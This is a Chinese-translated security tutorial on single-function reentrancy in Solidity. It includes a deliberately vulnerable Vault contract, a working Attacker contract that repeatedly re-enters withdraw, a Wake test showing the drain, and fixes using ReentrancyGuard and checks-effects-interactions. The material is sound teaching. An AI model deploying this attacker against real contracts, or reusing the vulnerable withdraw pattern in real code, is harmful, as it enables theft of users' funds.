本文详细介绍了智能合约中常见的重入攻击,包括其原理、攻击示例和预防方法。通过分析一个简单的 Vault 合约的 withdraw 函数中的漏洞,展示了攻击者如何利用外部调用重复调用 withdraw 函数,从而多次提取以太币。文章还提供了使用 ReentrancyGuard 和 Checks-Effects-Interactions 模式来预防重入攻击的方法。
由于外部调用的性质,重入攻击对于智能合约来说非常特殊。当一个合约通过外部调用与另一个合约交互时,例如在 token 转移期间,接收合约可以执行任意代码作为响应。这种执行可能导致原始合约程序员可能没有预料到的意外行为。
在重入攻击中,接收合约通过在第一次调用完成之前递归调用该函数来利用外部调用。这种行为不同于简单地调用该函数一次,并可能导致安全漏洞。从开发人员的角度来看,预测和想象这种执行是如何发生的具有挑战性,因此很难预防。 有很多可能发生重入攻击的情况。本文档将提供一个简单的重入攻击示例以及如何预防它。
这是一个简单的 vault 合约的源代码,允许用户存入和提取资金。 withdraw
函数容易受到重入攻击。
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
contract Vault {
mapping(address => uint256) private balances;
function deposit() external payable {
balances[msg.sender] += msg.value;
}
function withdraw() public {
uint256 amount = balances[msg.sender];
msg.sender.call{value: amount}("");
balances[msg.sender] = 0 ;
}
}
withdraw
函数中存在对 msg.sender
的外部调用。 这是可能发生重入攻击的点。 攻击者可以在第一次调用完成之前多次调用 withdraw
函数,从而导致意外行为。
让我们分析一下 withdraw
函数的代码执行。 此函数的问题在于它在外部调用之后更新值。 以下是 withdraw
函数的工作方式:
uint256 amount = balances[msg.sender];
(bool success,) = msg.sender.call{value: amount}("");
require(success, "Failed to send Ether");
balances[msg.sender] = 0;
所以,我们可以说调用 withdraw
函数等同于调用两个函数:
要求是在第一个函数完成后,我们可以执行一些其他的操作,但最终必须执行第二个函数。
通过以上分析,我们可以理解重入的概念,即在用户的外部函数中再次调用该函数。
让我们考虑以下场景:这是允许的,因为执行满足上述要求。 但是出了点问题。
uint256 amount = balances[msg.sender];
(bool success,) = msg.sender.call{value: amount}("");
{
// 作为一个可重入的函数块被执行
uint256 amount = balances[msg.sender];
(bool success,) = msg.sender.call{value: amount}("");
require(success, "Failed to send Ether");
balances[msg.sender] = 0;
}
require(success, "Failed to send Ether");
balances[msg.sender] = 0;
此执行的结果是用户收到的 ETH 金额是他们在此合约中作为余额持有的金额的两倍。 但是,执行仍然成功。 同样,我们可以做 10 次或 100 次。 用户可以收到 100 倍于他们在此合约中作为余额持有的 ETH 金额。
这是一个攻击者合约的示例。
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
interface Vault {
function deposit() external payable;
function withdraw() external;
}
contract Attacker {
Vault vault;
uint256 amount = 1 ether;
uint256 count = 0;
constructor(Vault _vault) payable {
vault = Vault(_vault);
}
/**
* @notice 触发 withdraw
*/
function attack() public {
vault.deposit{value: address(this).balance}();
if (address(vault).balance >= amount) {
vault.withdraw();
}
}
/**
* @notice withdraw 调用重复调用,但它们没有更新值 = balance[msg.sender]。
* 所以这个函数重复获取 ether 的值。
*/
receive() external payable {
if (count< 5) {
count++;
vault.withdraw();
}
}
}
这是 Wake 的测试文件。
from wake.testing import *
from pytypes.contracts.singlefunctionreentrancy.vault import Vault
from pytypes.contracts.singlefunctionreentrancy.attacker import Attacker
@default_chain.connect()
def test_default():
print("---------------------Single Function Reentrancy---------------------")
victim = default_chain.accounts[0]
attacker = default_chain.accounts[1]
vault = Vault.deploy(from_=victim)
vault.deposit(from_=victim, value="10 ether")
attacker_contract = Attacker.deploy(vault.address, from_=attacker, value="1 ether")
print("Vault balance : ", vault.balance)
print("Attacker balance: ", attacker_contract.balance)
print("----------Attack----------")
tx = attacker_contract.attack(from_=attacker)
print(tx.call_trace)
print("Vault balance : ", vault.balance)
print("Attacker balance: ", attacker_contract.balance)
我们部署一个 vault 并存储 10 ether,并部署一个带有 1 ETH 的攻击者合约。
通过在 Python 测试代码中调用 attacker_contract.attack()
函数,将调用攻击者合约中的 attack 函数。
在攻击函数中,它将 1 ETH 存入 vault 并从 vault 中提取。 withdraw
函数调用外部调用以将 ether 发送给攻击者。 因此,将调用攻击者合约中的 receive 函数。 在 receive()
函数中,它再次调用 withdraw
函数。
这是攻击的调用轨迹。 攻击者合约有 1 ETH,而 vault 合约有 10 ETH。 在递归调用 withdraw
函数 5 次后,攻击者合约有 6 ETH,而 vault 有 5 ETH。
这是一个单函数重入攻击。 大多数其他重入攻击都基于这种情况。 但是,由于项目的复杂性和函数结构,因此很难检测到。
有几种方法可以预防这种攻击。 这些预防方法适用于单函数重入攻击,但不能保证可以预防所有重入攻击。
以下是一些常用方法:
通过使用 ReentrancyGuard,不可能重新进入合约。
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract Vault is ReentrancyGuard {
mapping(address => uint256) private balances;
function deposit() external payable nonReentrant {
balances[msg.sender] += msg.value;
}
function withdraw() public nonReentrant {
uint256 amount = balances[msg.sender];
msg.sender.call{value: amount}("");
balances[msg.sender] = 0;
}
}
但是,我们会发现它对于所有类型的重入来说都不是一个充分的解决方案。
最好的预防方法是首先完成函数的状态更改,然后再调用外部函数。 如上所述,调用函数可以看作是两个单独的函数调用。 通过确保函数的第二部分不执行任何操作,它会禁用攻击。
function withdraw() public {
uint256 amount = balances[msg.sender];
balances[msg.sender] = 0;
msg.sender.call{value: amount}("");
}
总之,理解和预防重入漏洞对于开发安全的智能合约至关重要。 即使还有其他类型的重入攻击,例如,ReentrancyGuard 不足以完全阻止某些合约。 重要的是要理解重入的概念以及如何利用它。
我们有一个 Reentrancy Examples Github Repository。 还有其他类型的重入攻击,以及特定于协议的重入。
我们将很快发布一系列研究文章,描述其他类型的重入和特定于协议的重入攻击,并提供包括预防措施在内的示例。
通过编写重入攻击,你可以了解它的工作原理以及如何预防它们。
- 原文链接: ackee.xyz/blog/single-fu...
- 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!